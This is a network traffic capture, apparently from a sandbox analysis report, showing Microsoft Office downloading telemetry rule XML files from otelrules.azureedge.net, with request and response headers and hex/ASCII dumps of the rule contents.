2024-11-24 03:22:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b169a0d5-c01e-00a2-4e03-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032221Z-178bfbc474bnwsh4hC1NYC2ubs00000005g0000000006rs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d279acb6-501e-0029-6110-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032221Z-178bfbc474bwlrhlhC1NYCy3kg00000005eg000000004k1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2bdd5943-e01e-0052-493a-3dd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032221Z-178bfbc474bfw4gbhC1NYCunf4000000059g00000000kk8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032221Z-178bfbc474bscnbchC1NYCe7eg00000005k0000000007u8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032221Z-174c587ffdfp4vpjhC1TEBybqw00000003w0000000009bzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032223Z-174c587ffdfdwxdvhC1TEB1c4n00000003rg00000000gtr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032223Z-174c587ffdfcj798hC1TEB9bq40000000420000000006es0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: b54876a2-a01e-0070-6764-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032223Z-178bfbc474bbcwv4hC1NYCypys000000056g00000000d37q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032223Z-174c587ffdfl22mzhC1TEBk40c00000003zg00000000ef82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:24 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032224Z-178bfbc474bwlrhlhC1NYCy3kg00000005eg000000004k6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:24 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032225Z-15b8b599d88hd9g7hC1TEBp75c00000003wg000000004r9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
